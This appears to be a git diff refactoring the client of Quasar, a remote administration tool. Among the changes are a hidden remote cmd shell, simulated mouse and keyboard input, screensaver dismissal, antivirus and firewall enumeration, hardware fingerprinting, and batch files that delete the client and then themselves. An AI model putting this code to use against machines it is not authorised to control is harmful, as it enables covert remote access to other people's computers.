- /// Returns a boolean value if the action succeded or failed.
+ /// Returns true if the action succeeded, otherwise false.
public static bool DeleteValueSafe(this RegistryKey key, string name)
{
try
@@ -267,8 +279,6 @@ public static bool DeleteValueSafe(this RegistryKey key, string name)
}
}
- #region Rename Value
-
///
/// Attempts to rename a registry value to the key provided using the specified old
/// name and new name.
@@ -276,21 +286,20 @@ public static bool DeleteValueSafe(this RegistryKey key, string name)
/// The key of which the registry value is to be renamed from.
/// The old name of the registry value.
/// The new name of the registry value.
- /// Returns boolean value if the action succeded or failed; Returns
- ///
+ /// Returns true if the action succeeded, otherwise false.
public static bool RenameValueSafe(this RegistryKey key, string oldName, string newName)
{
try
{
//Copy from old to new
key.CopyValue(oldName, newName);
- //Despose of the old value
+ //Dispose of the old value
key.DeleteValue(oldName);
return true;
}
catch
{
- //Try to despose of the newKey (The rename failed)
+ //Try to dispose of the newKey (The rename failed)
key.DeleteValueSafe(newName);
return false;
}
@@ -303,8 +312,6 @@ public static bool RenameValueSafe(this RegistryKey key, string oldName, string
/// The key of which the registry value is to be copied.
/// The old name of the registry value.
/// The new name of the registry value.
- /// Returns nothing
- ///
public static void CopyValue(this RegistryKey key, string oldName, string newName)
{
RegistryValueKind valueKind = key.GetValueKind(oldName);
@@ -313,19 +320,12 @@ public static void CopyValue(this RegistryKey key, string oldName, string newNam
key.SetValue(newName, valueData, valueKind);
}
- #endregion
-
- #endregion
-
- #region Find
-
///
/// Checks if the specified subkey exists in the key
///
/// The key of which to search.
/// The name of the sub-key to find.
- /// Returns boolean value if the action succeded or failed
- ///
+ /// Returns true if the action succeeded, otherwise false.
public static bool ContainsSubKey(this RegistryKey key, string name)
{
foreach (string subkey in key.GetSubKeyNames())
@@ -343,8 +343,7 @@ public static bool ContainsSubKey(this RegistryKey key, string name)
///
/// The key of which to search.
/// The name of the registry value to find.
- /// Returns boolean value if the action succeded or failed
- ///
+ /// Returns true if the action succeeded, otherwise false.
public static bool ContainsValue(this RegistryKey key, string name)
{
foreach (string value in key.GetValueNames())
@@ -357,68 +356,27 @@ public static bool ContainsValue(this RegistryKey key, string name)
return false;
}
- #endregion
-
///
/// Gets all of the value names associated with the registry key and returns
/// formatted strings of the filtered values.
///
/// The registry key of which the values are obtained.
/// Yield returns formatted strings of the key and the key value.
- public static IEnumerable GetFormattedKeyValues(this RegistryKey key)
+ public static IEnumerable> GetKeyValues(this RegistryKey key)
{
if (key == null) yield break;
foreach (var k in key.GetValueNames().Where(keyVal => !keyVal.IsNameOrValueNull(key)).Where(k => !string.IsNullOrEmpty(k)))
{
- yield return string.Format("{0}||{1}", k, key.GetValueSafe(k));
- }
- }
-
- public static string RegistryTypeToString(this RegistryValueKind valueKind, object valueData)
- {
- switch (valueKind)
- {
- case RegistryValueKind.Binary:
- return ((byte[])valueData).Length > 0 ? BitConverter.ToString((byte[])valueData).Replace("-", " ").ToLower() : "(zero-length binary value)";
- case RegistryValueKind.MultiString:
- return string.Join(" ", (string[])valueData);
- case RegistryValueKind.DWord: //Convert with hexadecimal before int
- return String.Format("0x{0} ({1})", ((uint)((int)valueData)).ToString("X8").ToLower(), ((uint)((int)valueData)).ToString());
- case RegistryValueKind.QWord:
- return String.Format("0x{0} ({1})", ((ulong)((long)valueData)).ToString("X8").ToLower(), ((ulong)((long)valueData)).ToString());
- case RegistryValueKind.String:
- case RegistryValueKind.ExpandString:
- return valueData.ToString();
- case RegistryValueKind.Unknown:
- default:
- return string.Empty;
- }
- }
-
- public static string RegistryTypeToString(this RegistryValueKind valueKind)
- {
- switch (valueKind)
- {
- case RegistryValueKind.Binary:
- return "REG_BINARY";
- case RegistryValueKind.MultiString:
- return "REG_MULTI_SZ";
- case RegistryValueKind.DWord:
- return "REG_DWORD";
- case RegistryValueKind.QWord:
- return "REG_QWORD";
- case RegistryValueKind.String:
- return "REG_SZ";
- case RegistryValueKind.ExpandString:
- return "REG_EXPAND_SZ";
- case RegistryValueKind.Unknown:
- return "(Unknown)";
- default:
- return "REG_NONE";
+ yield return new Tuple(k, key.GetValueSafe(k));
}
}
+ ///
+ /// Gets the default value for a given data type of a registry value.
+ ///
+ /// The data type of the registry value.
+ /// The default value for the given .
public static object GetDefault(this RegistryValueKind valueKind)
{
switch (valueKind)
@@ -439,4 +397,4 @@ public static object GetDefault(this RegistryValueKind valueKind)
}
}
}
-}
\ No newline at end of file
+}
diff --git a/Quasar.Client/Helper/DateTimeHelper.cs b/Quasar.Client/Helper/DateTimeHelper.cs
new file mode 100644
index 000000000..90405a048
--- /dev/null
+++ b/Quasar.Client/Helper/DateTimeHelper.cs
@@ -0,0 +1,16 @@
+using System;
+
+namespace Quasar.Client.Helper
+{
+ public static class DateTimeHelper
+ {
+ public static string GetLocalTimeZone()
+ {
+ var tz = TimeZoneInfo.Local;
+ var tzOffset = tz.GetUtcOffset(DateTime.Now);
+ var tzOffsetSign = tzOffset >= TimeSpan.Zero ? "+" : "";
+ var tzName = tz.SupportsDaylightSavingTime && tz.IsDaylightSavingTime(DateTime.Now) ? tz.DaylightName : tz.StandardName;
+ return $"{tzName} (UTC {tzOffsetSign}{tzOffset.Hours}{(tzOffset.Minutes != 0 ? $":{Math.Abs(tzOffset.Minutes)}" : "")})";
+ }
+ }
+}
diff --git a/Client/Core/Recovery/Utilities/JsonUtil.cs b/Quasar.Client/Helper/JsonHelper.cs
similarity index 66%
rename from Client/Core/Recovery/Utilities/JsonUtil.cs
rename to Quasar.Client/Helper/JsonHelper.cs
index d93960a97..9dfdfe755 100644
--- a/Client/Core/Recovery/Utilities/JsonUtil.cs
+++ b/Quasar.Client/Helper/JsonHelper.cs
@@ -2,9 +2,12 @@
using System.Runtime.Serialization.Json;
using System.Text;
-namespace xClient.Core.Recovery.Utilities
+namespace Quasar.Client.Helper
{
- public static class JsonUtil
+ ///
+ /// Provides methods to serialize and deserialize JSON.
+ ///
+ public static class JsonHelper
{
///
/// Serializes an object to the respectable JSON string.
@@ -18,6 +21,7 @@ public static string Serialize(T o)
return Encoding.UTF8.GetString(ms.ToArray());
}
}
+
///
/// Deserializes a JSON string to the specified object.
///
@@ -29,5 +33,14 @@ public static T Deserialize(string json)
return (T)s.ReadObject(ms);
}
}
+
+ ///
+ /// Deserializes a JSON stream to the specified object.
+ ///
+ public static T Deserialize(Stream stream)
+ {
+ var s = new DataContractJsonSerializer(typeof(T));
+ return (T)s.ReadObject(stream);
+ }
}
}
diff --git a/Quasar.Client/Helper/NativeMethodsHelper.cs b/Quasar.Client/Helper/NativeMethodsHelper.cs
new file mode 100644
index 000000000..1002244ee
--- /dev/null
+++ b/Quasar.Client/Helper/NativeMethodsHelper.cs
@@ -0,0 +1,197 @@
+using Quasar.Client.Utilities;
+using System;
+using System.Drawing;
+using System.Runtime.InteropServices;
+using System.Text;
+
+namespace Quasar.Client.Helper
+{
+ public static class NativeMethodsHelper
+ {
+ private const int INPUT_MOUSE = 0;
+ private const int INPUT_KEYBOARD = 1;
+
+ private const uint MOUSEEVENTF_LEFTDOWN = 0x0002;
+ private const uint MOUSEEVENTF_LEFTUP = 0x0004;
+ private const uint MOUSEEVENTF_RIGHTDOWN = 0x0008;
+ private const uint MOUSEEVENTF_RIGHTUP = 0x0010;
+ private const uint MOUSEEVENTF_WHEEL = 0x0800;
+ private const uint KEYEVENTF_KEYDOWN = 0x0000;
+ private const uint KEYEVENTF_KEYUP = 0x0002;
+
+ public static uint GetLastInputInfoTickCount()
+ {
+ NativeMethods.LASTINPUTINFO lastInputInfo = new NativeMethods.LASTINPUTINFO();
+ lastInputInfo.cbSize = (uint) Marshal.SizeOf(lastInputInfo);
+ lastInputInfo.dwTime = 0;
+ NativeMethods.GetLastInputInfo(ref lastInputInfo);
+ return lastInputInfo.dwTime;
+ }
+
+ public static void DoMouseLeftClick(Point p, bool isMouseDown)
+ {
+ NativeMethods.INPUT[] inputs = {
+ new NativeMethods.INPUT
+ {
+ type = INPUT_MOUSE,
+ u = new NativeMethods.InputUnion
+ {
+ mi = new NativeMethods.MOUSEINPUT
+ {
+ dx = p.X,
+ dy = p.Y,
+ mouseData = 0,
+ dwFlags = isMouseDown ? MOUSEEVENTF_LEFTDOWN : MOUSEEVENTF_LEFTUP,
+ time = 0,
+ dwExtraInfo = NativeMethods.GetMessageExtraInfo()
+ }
+ }
+ }
+ };
+
+ NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT)));
+ }
+
+ public static void DoMouseRightClick(Point p, bool isMouseDown)
+ {
+ NativeMethods.INPUT[] inputs = {
+ new NativeMethods.INPUT
+ {
+ type = INPUT_MOUSE,
+ u = new NativeMethods.InputUnion
+ {
+ mi = new NativeMethods.MOUSEINPUT
+ {
+ dx = p.X,
+ dy = p.Y,
+ mouseData = 0,
+ dwFlags = isMouseDown ? MOUSEEVENTF_RIGHTDOWN : MOUSEEVENTF_RIGHTUP,
+ time = 0,
+ dwExtraInfo = NativeMethods.GetMessageExtraInfo()
+ }
+ }
+ }
+ };
+
+ NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT)));
+ }
+
+ public static void DoMouseMove(Point p)
+ {
+ NativeMethods.SetCursorPos(p.X, p.Y);
+ }
+
+ public static void DoMouseScroll(Point p, bool scrollDown)
+ {
+ NativeMethods.INPUT[] inputs = {
+ new NativeMethods.INPUT
+ {
+ type = INPUT_MOUSE,
+ u = new NativeMethods.InputUnion
+ {
+ mi = new NativeMethods.MOUSEINPUT
+ {
+ dx = p.X,
+ dy = p.Y,
+ mouseData = scrollDown ? -120 : 120,
+ dwFlags = MOUSEEVENTF_WHEEL,
+ time = 0,
+ dwExtraInfo = NativeMethods.GetMessageExtraInfo()
+ }
+ }
+ }
+ };
+
+ NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT)));
+ }
+
+ public static void DoKeyPress(byte key, bool keyDown)
+ {
+ NativeMethods.INPUT[] inputs = {
+ new NativeMethods.INPUT
+ {
+ type = INPUT_KEYBOARD,
+ u = new NativeMethods.InputUnion
+ {
+ ki = new NativeMethods.KEYBDINPUT
+ {
+ wVk = key,
+ wScan = 0,
+ dwFlags = keyDown ? KEYEVENTF_KEYDOWN : KEYEVENTF_KEYUP,
+ dwExtraInfo = NativeMethods.GetMessageExtraInfo()
+ }
+ }
+ }
+ };
+
+ NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT)));
+ }
+
+ private const int SPI_GETSCREENSAVERRUNNING = 114;
+
+ public static bool IsScreensaverActive()
+ {
+ var running = IntPtr.Zero;
+
+ if (!NativeMethods.SystemParametersInfo(
+ SPI_GETSCREENSAVERRUNNING,
+ 0,
+ ref running,
+ 0))
+ {
+ // Something went wrong (Marshal.GetLastWin32Error)
+ }
+
+ return running != IntPtr.Zero;
+ }
+
+ private const uint DESKTOP_WRITEOBJECTS = 0x0080;
+ private const uint DESKTOP_READOBJECTS = 0x0001;
+ private const int WM_CLOSE = 16;
+ private const uint SPI_SETSCREENSAVEACTIVE = 0x0011;
+ private const uint SPIF_SENDWININICHANGE = 0x0002;
+
+ public static void DisableScreensaver()
+ {
+ var handle = NativeMethods.OpenDesktop("Screen-saver", 0,
+ false, DESKTOP_READOBJECTS | DESKTOP_WRITEOBJECTS);
+
+ if (handle != IntPtr.Zero)
+ {
+ NativeMethods.EnumDesktopWindows(handle, (hWnd, lParam) =>
+ {
+ if (NativeMethods.IsWindowVisible(hWnd))
+ NativeMethods.PostMessage(hWnd, WM_CLOSE, IntPtr.Zero, IntPtr.Zero);
+
+ // Continue enumeration even if it fails
+ return true;
+ },
+ IntPtr.Zero);
+ NativeMethods.CloseDesktop(handle);
+ }
+ else
+ {
+ NativeMethods.PostMessage(NativeMethods.GetForegroundWindow(), WM_CLOSE, IntPtr.Zero, IntPtr.Zero);
+ }
+
+ // We need to restart the counter for next screensaver according to
+ // https://support.microsoft.com/en-us/kb/140723
+ // (this may not be needed since we simulate mouse click afterwards)
+
+ var dummy = IntPtr.Zero;
+
+ // Doesn't really matter if this fails
+ NativeMethods.SystemParametersInfo(SPI_SETSCREENSAVEACTIVE, 1 /* TRUE */, ref dummy, SPIF_SENDWININICHANGE);
+
+ }
+
+ public static string GetForegroundWindowTitle()
+ {
+ StringBuilder sbTitle = new StringBuilder(1024);
+
+ NativeMethods.GetWindowText(NativeMethods.GetForegroundWindow(), sbTitle, sbTitle.Capacity);
+
+ return sbTitle.ToString();
+ }
+ }
+}
diff --git a/Quasar.Client/Helper/RegistryKeyHelper.cs b/Quasar.Client/Helper/RegistryKeyHelper.cs
new file mode 100644
index 000000000..2331c6a73
--- /dev/null
+++ b/Quasar.Client/Helper/RegistryKeyHelper.cs
@@ -0,0 +1,158 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using Microsoft.Win32;
+using Quasar.Client.Extensions;
+using Quasar.Common.Models;
+using Quasar.Common.Utilities;
+
+namespace Quasar.Client.Helper
+{
+ public static class RegistryKeyHelper
+ {
+ private static string DEFAULT_VALUE = String.Empty;
+
+ ///
+ /// Adds a value to the registry key.
+ ///
+ /// Represents the possible values for a top-level node on a foreign machine.
+ /// The path to the registry key.
+ /// The name of the value.
+ /// The value.
+ /// If set to True, adds quotes to the value.
+ /// True on success, else False.
+ public static bool AddRegistryKeyValue(RegistryHive hive, string path, string name, string value, bool addQuotes = false)
+ {
+ try
+ {
+ using (RegistryKey key = RegistryKey.OpenBaseKey(hive, RegistryView.Registry64).OpenWritableSubKeySafe(path))
+ {
+ if (key == null) return false;
+
+ if (addQuotes && !value.StartsWith("\"") && !value.EndsWith("\""))
+ value = "\"" + value + "\"";
+
+ key.SetValue(name, value);
+ return true;
+ }
+ }
+ catch (Exception)
+ {
+ return false;
+ }
+ }
+
+ ///
+ /// Opens a read-only registry key.
+ ///
+ /// Represents the possible values for a top-level node on a foreign machine.
+ /// The path to the registry key.
+ ///
+ public static RegistryKey OpenReadonlySubKey(RegistryHive hive, string path)
+ {
+ try
+ {
+ return RegistryKey.OpenBaseKey(hive, RegistryView.Registry64).OpenSubKey(path, false);
+ }
+ catch
+ {
+ return null;
+ }
+ }
+
+ ///
+ /// Deletes the specified value from the registry key.
+ ///
+ /// Represents the possible values for a top-level node on a foreign machine.
+ /// The path to the registry key.
+ /// The name of the value to delete.
+ /// True on success, else False.
+ public static bool DeleteRegistryKeyValue(RegistryHive hive, string path, string name)
+ {
+ try
+ {
+ using (RegistryKey key = RegistryKey.OpenBaseKey(hive, RegistryView.Registry64).OpenWritableSubKeySafe(path))
+ {
+ if (key == null) return false;
+ key.DeleteValue(name, true);
+ return true;
+ }
+ }
+ catch (Exception)
+ {
+ return false;
+ }
+ }
+
+ ///
+ /// Checks if the provided value is the default value
+ ///
+ /// The name of the value
+ /// True if default value, else False
+ public static bool IsDefaultValue(string valueName)
+ {
+ return String.IsNullOrEmpty(valueName);
+ }
+
+ ///
+ /// Adds the default value to the list of values and returns them as an array.
+ /// If default value already exists this function will only return the list as an array.
+ ///
+ /// The list with the values for which the default value should be added to
+ /// Array with all of the values including the default value
+ public static RegValueData[] AddDefaultValue(List values)
+ {
+ if(!values.Any(value => IsDefaultValue(value.Name)))
+ {
+ values.Add(GetDefaultValue());
+ }
+ return values.ToArray();
+ }
+
+ ///
+ /// Gets the default registry values
+ ///
+ /// A array with the default registry values
+ public static RegValueData[] GetDefaultValues()
+ {
+ return new[] {GetDefaultValue()};
+ }
+
+ public static RegValueData CreateRegValueData(string name, RegistryValueKind kind, object value = null)
+ {
+ var newRegValue = new RegValueData {Name = name, Kind = kind};
+
+ if (value == null)
+ newRegValue.Data = new byte[] { };
+ else
+ {
+ switch (newRegValue.Kind)
+ {
+ case RegistryValueKind.Binary:
+ newRegValue.Data = (byte[]) value;
+ break;
+ case RegistryValueKind.MultiString:
+ newRegValue.Data = ByteConverter.GetBytes((string[]) value);
+ break;
+ case RegistryValueKind.DWord:
+ newRegValue.Data = ByteConverter.GetBytes((uint) (int) value);
+ break;
+ case RegistryValueKind.QWord:
+ newRegValue.Data = ByteConverter.GetBytes((ulong) (long) value);
+ break;
+ case RegistryValueKind.String:
+ case RegistryValueKind.ExpandString:
+ newRegValue.Data = ByteConverter.GetBytes((string) value);
+ break;
+ }
+ }
+
+ return newRegValue;
+ }
+
+ private static RegValueData GetDefaultValue()
+ {
+ return CreateRegValueData(DEFAULT_VALUE, RegistryValueKind.String);
+ }
+ }
+}
diff --git a/Client/Core/Helper/ScreenHelper.cs b/Quasar.Client/Helper/ScreenHelper.cs
similarity index 94%
rename from Client/Core/Helper/ScreenHelper.cs
rename to Quasar.Client/Helper/ScreenHelper.cs
index 1234ee997..a41730be7 100644
--- a/Client/Core/Helper/ScreenHelper.cs
+++ b/Quasar.Client/Helper/ScreenHelper.cs
@@ -2,9 +2,9 @@
using System.Drawing;
using System.Drawing.Imaging;
using System.Windows.Forms;
-using xClient.Core.Utilities;
+using Quasar.Client.Utilities;
-namespace xClient.Core.Helper
+namespace Quasar.Client.Helper
{
public static class ScreenHelper
{
diff --git a/Client/Core/Helper/SystemHelper.cs b/Quasar.Client/Helper/SystemHelper.cs
similarity index 93%
rename from Client/Core/Helper/SystemHelper.cs
rename to Quasar.Client/Helper/SystemHelper.cs
index a5dbf70ee..8be47bd67 100644
--- a/Client/Core/Helper/SystemHelper.cs
+++ b/Quasar.Client/Helper/SystemHelper.cs
@@ -1,7 +1,8 @@
-using System;
+using Quasar.Common.Helpers;
+using System;
using System.Management;
-namespace xClient.Core.Helper
+namespace Quasar.Client.Helper
{
public static class SystemHelper
{
@@ -55,7 +56,7 @@ public static string GetAntivirus()
antivirusName += mObject["displayName"].ToString() + "; ";
}
}
- antivirusName = FormatHelper.RemoveEnd(antivirusName);
+ antivirusName = StringHelper.RemoveLastChars(antivirusName);
return (!string.IsNullOrEmpty(antivirusName)) ? antivirusName : "N/A";
}
@@ -81,7 +82,7 @@ public static string GetFirewall()
firewallName += mObject["displayName"].ToString() + "; ";
}
}
- firewallName = FormatHelper.RemoveEnd(firewallName);
+ firewallName = StringHelper.RemoveLastChars(firewallName);
return (!string.IsNullOrEmpty(firewallName)) ? firewallName : "N/A";
}
diff --git a/Quasar.Client/ILRepack.targets b/Quasar.Client/ILRepack.targets
new file mode 100644
index 000000000..38f60df7b
--- /dev/null
+++ b/Quasar.Client/ILRepack.targets
@@ -0,0 +1,26 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/Quasar.Client/IO/BatchFile.cs b/Quasar.Client/IO/BatchFile.cs
new file mode 100644
index 000000000..83a39ad92
--- /dev/null
+++ b/Quasar.Client/IO/BatchFile.cs
@@ -0,0 +1,79 @@
+using Quasar.Common.Helpers;
+using System.IO;
+using System.Text;
+
+namespace Quasar.Client.IO
+{
+ ///
+ /// Provides methods to create batch files for application update, uninstall and restart operations.
+ ///
+ public static class BatchFile
+ {
+ ///
+ /// Creates the uninstall batch file.
+ ///
+ /// The current file path of the client.
+ /// The file path to the batch file which can then get executed. Returns string.Empty on failure.
+ public static string CreateUninstallBatch(string currentFilePath)
+ {
+ string batchFile = FileHelper.GetTempFilePath(".bat");
+
+ string uninstallBatch =
+ "@echo off" + "\r\n" +
+ "chcp 65001" + "\r\n" + // Unicode path support for cyrillic, chinese, ...
+ "echo DONT CLOSE THIS WINDOW!" + "\r\n" +
+ "ping -n 10 localhost > nul" + "\r\n" +
+ "del /a /q /f " + "\"" + currentFilePath + "\"" + "\r\n" +
+ "del /a /q /f " + "\"" + batchFile + "\"";
+
+ File.WriteAllText(batchFile, uninstallBatch, new UTF8Encoding(false));
+ return batchFile;
+ }
+
+ ///
+ /// Creates the update batch file.
+ ///
+ /// The current file path of the client.
+ /// The new file path of the client.
+ /// The file path to the batch file which can then get executed. Returns an empty string on failure.
+ public static string CreateUpdateBatch(string currentFilePath, string newFilePath)
+ {
+ string batchFile = FileHelper.GetTempFilePath(".bat");
+
+ string updateBatch =
+ "@echo off" + "\r\n" +
+ "chcp 65001" + "\r\n" + // Unicode path support for cyrillic, chinese, ...
+ "echo DONT CLOSE THIS WINDOW!" + "\r\n" +
+ "ping -n 10 localhost > nul" + "\r\n" +
+ "del /a /q /f " + "\"" + currentFilePath + "\"" + "\r\n" +
+ "move /y " + "\"" + newFilePath + "\"" + " " + "\"" + currentFilePath + "\"" + "\r\n" +
+ "start \"\" " + "\"" + currentFilePath + "\"" + "\r\n" +
+ "del /a /q /f " + "\"" + batchFile + "\"";
+
+ File.WriteAllText(batchFile, updateBatch, new UTF8Encoding(false));
+ return batchFile;
+ }
+
+ ///
+ /// Creates the restart batch file.
+ ///
+ /// The current file path of the client.
+ /// The file path to the batch file which can then get executed. Returns string.Empty on failure.
+ public static string CreateRestartBatch(string currentFilePath)
+ {
+ string batchFile = FileHelper.GetTempFilePath(".bat");
+
+ string restartBatch =
+ "@echo off" + "\r\n" +
+ "chcp 65001" + "\r\n" + // Unicode path support for cyrillic, chinese, ...
+ "echo DONT CLOSE THIS WINDOW!" + "\r\n" +
+ "ping -n 10 localhost > nul" + "\r\n" +
+ "start \"\" " + "\"" + currentFilePath + "\"" + "\r\n" +
+ "del /a /q /f " + "\"" + batchFile + "\"";
+
+ File.WriteAllText(batchFile, restartBatch, new UTF8Encoding(false));
+
+ return batchFile;
+ }
+ }
+}
diff --git a/Client/Core/Helper/DevicesHelper.cs b/Quasar.Client/IO/HardwareDevices.cs
similarity index 51%
rename from Client/Core/Helper/DevicesHelper.cs
rename to Quasar.Client/IO/HardwareDevices.cs
index 58b19421a..a75c2c1ce 100644
--- a/Client/Core/Helper/DevicesHelper.cs
+++ b/Quasar.Client/IO/HardwareDevices.cs
@@ -1,21 +1,90 @@
-using System;
+using Quasar.Common.Cryptography;
+using Quasar.Common.Helpers;
+using System;
+using System.Linq;
using System.Management;
using System.Net.NetworkInformation;
using System.Net.Sockets;
-using xClient.Core.Cryptography;
-namespace xClient.Core.Helper
+namespace Quasar.Client.IO
{
- public static class DevicesHelper
+ ///
+ /// Provides access to retrieve information about the used hardware devices.
+ ///
+ /// Caches the retrieved information to reduce the slowdown of the slow WMI queries.
+ public static class HardwareDevices
{
- public static string HardwareId { get; private set; }
+ ///
+ /// Gets a unique hardware id as a combination of various hardware components.
+ ///
+ public static string HardwareId => _hardwareId ?? (_hardwareId = Sha256.ComputeHash(CpuName + MainboardName + BiosManufacturer));
- static DevicesHelper()
- {
- HardwareId = SHA256.ComputeHash(GetCpuName() + GetMainboardIdentifier() + GetBiosIdentifier());
- }
+ ///
+ /// Used to cache the hardware id.
+ ///
+ private static string _hardwareId;
+
+ ///
+ /// Gets the name of the system CPU.
+ ///
+ public static string CpuName => _cpuName ?? (_cpuName = GetCpuName());
+
+ ///
+ /// Used to cache the CPU name.
+ ///
+ private static string _cpuName;
+
+ ///
+ /// Gets the name of the GPU.
+ ///
+ public static string GpuName => _gpuName ?? (_gpuName = GetGpuName());
+
+ ///
+ /// Used to cache the GPU name.
+ ///
+ private static string _gpuName;
+
+ ///
+ /// Gets the name of the BIOS manufacturer.
+ ///
+ public static string BiosManufacturer => _biosManufacturer ?? (_biosManufacturer = GetBiosManufacturer());
+
+ ///
+ /// Used to cache the BIOS manufacturer.
+ ///
+ private static string _biosManufacturer;
+
+ ///
+ /// Gets the name of the mainboard.
+ ///
+ public static string MainboardName => _mainboardName ?? (_mainboardName = GetMainboardName());
+
+ ///
+ /// Used to cache the mainboard name.
+ ///
+ private static string _mainboardName;
+
+ ///
+ /// Gets the total physical memory of the system in megabytes (MB).
+ ///
+ public static int? TotalPhysicalMemory => _totalPhysicalMemory ?? (_totalPhysicalMemory = GetTotalPhysicalMemoryInMb());
- public static string GetBiosIdentifier()
+ ///
+ /// Used to cache the total physical memory.
+ ///
+ private static int? _totalPhysicalMemory;
+
+ ///
+ /// Gets the LAN IP address of the network interface.
+ ///
+ public static string LanIpAddress => GetLanIpAddress();
+
+ ///
+ /// Gets the MAC address of the network interface.
+ ///
+ public static string MacAddress => GetMacAddress();
+
+ private static string GetBiosManufacturer()
{
try
{
@@ -40,7 +109,7 @@ public static string GetBiosIdentifier()
return "Unknown";
}
- public static string GetMainboardIdentifier()
+ private static string GetMainboardName()
{
try
{
@@ -51,7 +120,7 @@ public static string GetMainboardIdentifier()
{
foreach (ManagementObject mObject in searcher.Get())
{
- mainboardIdentifier = mObject["Manufacturer"].ToString() + mObject["SerialNumber"].ToString();
+ mainboardIdentifier = mObject["Manufacturer"].ToString() + " " + mObject["Product"].ToString();
break;
}
}
@@ -65,7 +134,7 @@ public static string GetMainboardIdentifier()
return "Unknown";
}
- public static string GetCpuName()
+ private static string GetCpuName()
{
try
{
@@ -79,7 +148,7 @@ public static string GetCpuName()
cpuName += mObject["Name"].ToString() + "; ";
}
}
- cpuName = FormatHelper.RemoveEnd(cpuName);
+ cpuName = StringHelper.RemoveLastChars(cpuName);
return (!string.IsNullOrEmpty(cpuName)) ? cpuName : "N/A";
}
@@ -90,7 +159,7 @@ public static string GetCpuName()
return "Unknown";
}
- public static int GetTotalRamAmount()
+ private static int GetTotalPhysicalMemoryInMb()
{
try
{
@@ -102,7 +171,7 @@ public static int GetTotalRamAmount()
foreach (ManagementObject mObject in searcher.Get())
{
double bytes = (Convert.ToDouble(mObject["TotalPhysicalMemory"]));
- installedRAM = (int)(bytes / 1048576);
+ installedRAM = (int)(bytes / 1048576); // bytes to MB
break;
}
}
@@ -115,7 +184,7 @@ public static int GetTotalRamAmount()
}
}
- public static string GetGpuName()
+ private static string GetGpuName()
{
try
{
@@ -129,7 +198,7 @@ public static string GetGpuName()
gpuName += mObject["Description"].ToString() + "; ";
}
}
- gpuName = FormatHelper.RemoveEnd(gpuName);
+ gpuName = StringHelper.RemoveLastChars(gpuName);
return (!string.IsNullOrEmpty(gpuName)) ? gpuName : "N/A";
}
@@ -139,21 +208,26 @@ public static string GetGpuName()
}
}
- public static string GetLanIp()
+ private static string GetLanIpAddress()
{
+ // TODO: support multiple network interfaces
foreach (NetworkInterface ni in NetworkInterface.GetAllNetworkInterfaces())
{
- if (ni.NetworkInterfaceType == NetworkInterfaceType.Wireless80211 ||
- ni.NetworkInterfaceType == NetworkInterfaceType.Ethernet &&
- ni.OperationalStatus == OperationalStatus.Up)
+ GatewayIPAddressInformation gatewayAddress = ni.GetIPProperties().GatewayAddresses.FirstOrDefault();
+ if (gatewayAddress != null) //exclude virtual physical nic with no default gateway
{
- foreach (UnicastIPAddressInformation ip in ni.GetIPProperties().UnicastAddresses)
+ if (ni.NetworkInterfaceType == NetworkInterfaceType.Wireless80211 ||
+ ni.NetworkInterfaceType == NetworkInterfaceType.Ethernet &&
+ ni.OperationalStatus == OperationalStatus.Up)
{
- if (ip.Address.AddressFamily != AddressFamily.InterNetwork ||
- ip.AddressPreferredLifetime == UInt32.MaxValue) // exclude virtual network addresses
- continue;
+ foreach (UnicastIPAddressInformation ip in ni.GetIPProperties().UnicastAddresses)
+ {
+ if (ip.Address.AddressFamily != AddressFamily.InterNetwork ||
+ ip.AddressPreferredLifetime == UInt32.MaxValue) // exclude virtual network addresses
+ continue;
- return ip.Address.ToString();
+ return ip.Address.ToString();
+ }
}
}
}
@@ -161,7 +235,7 @@ public static string GetLanIp()
return "-";
}
- public static string GetMacAddress()
+ private static string GetMacAddress()
{
foreach (NetworkInterface ni in NetworkInterface.GetAllNetworkInterfaces())
{
@@ -176,11 +250,11 @@ public static string GetMacAddress()
ip.AddressPreferredLifetime == UInt32.MaxValue) // exclude virtual network addresses
continue;
- foundCorrect = (ip.Address.ToString() == GetLanIp());
+ foundCorrect = (ip.Address.ToString() == GetLanIpAddress());
}
if (foundCorrect)
- return FormatHelper.FormatMacAddress(ni.GetPhysicalAddress().ToString());
+ return StringHelper.GetFormattedMacAddress(ni.GetPhysicalAddress().ToString());
}
}
diff --git a/Client/Core/Utilities/Shell.cs b/Quasar.Client/IO/Shell.cs
similarity index 60%
rename from Client/Core/Utilities/Shell.cs
rename to Quasar.Client/IO/Shell.cs
index fc97da151..9b67a9d4e 100644
--- a/Client/Core/Utilities/Shell.cs
+++ b/Quasar.Client/IO/Shell.cs
@@ -1,11 +1,13 @@
-using System;
+using Quasar.Client.Networking;
+using Quasar.Common.Messages;
+using System;
using System.Diagnostics;
using System.Globalization;
using System.IO;
using System.Text;
using System.Threading;
-namespace xClient.Core.Utilities
+namespace Quasar.Client.IO
{
///
/// This class manages a remote shell session.
@@ -13,7 +15,7 @@ namespace xClient.Core.Utilities
public class Shell : IDisposable
{
///
- /// The Process of the command-line.
+ /// The process of the command-line (cmd).
///
private Process _prc;
@@ -36,7 +38,31 @@ public class Shell : IDisposable
private readonly object _readStreamLock = new object();
///
- /// Creates a new session of the Shell
+ /// The current console encoding.
+ ///
+ private Encoding _encoding;
+
+ ///
+ /// Redirects commands to the standard input stream of the console with the correct encoding.
+ ///
+ private StreamWriter _inputWriter;
+
+ ///
+ /// The client to sends responses to.
+ ///
+ private readonly QuasarClient _client;
+
+ ///
+ /// Initializes a new instance of the class using a given client.
+ ///
+ /// The client to send shell responses to.
+ public Shell(QuasarClient client)
+ {
+ _client = client;
+ }
+
+ ///
+ /// Creates a new session of the shell.
///
private void CreateSession()
{
@@ -45,40 +71,42 @@ private void CreateSession()
_read = true;
}
- CultureInfo cultureInfo = CultureInfo.InstalledUICulture;
+ var cultureInfo = CultureInfo.InstalledUICulture;
+ _encoding = Encoding.GetEncoding(cultureInfo.TextInfo.OEMCodePage);
_prc = new Process
{
StartInfo = new ProcessStartInfo("cmd")
{
UseShellExecute = false,
+ CreateNoWindow = true,
RedirectStandardInput = true,
RedirectStandardOutput = true,
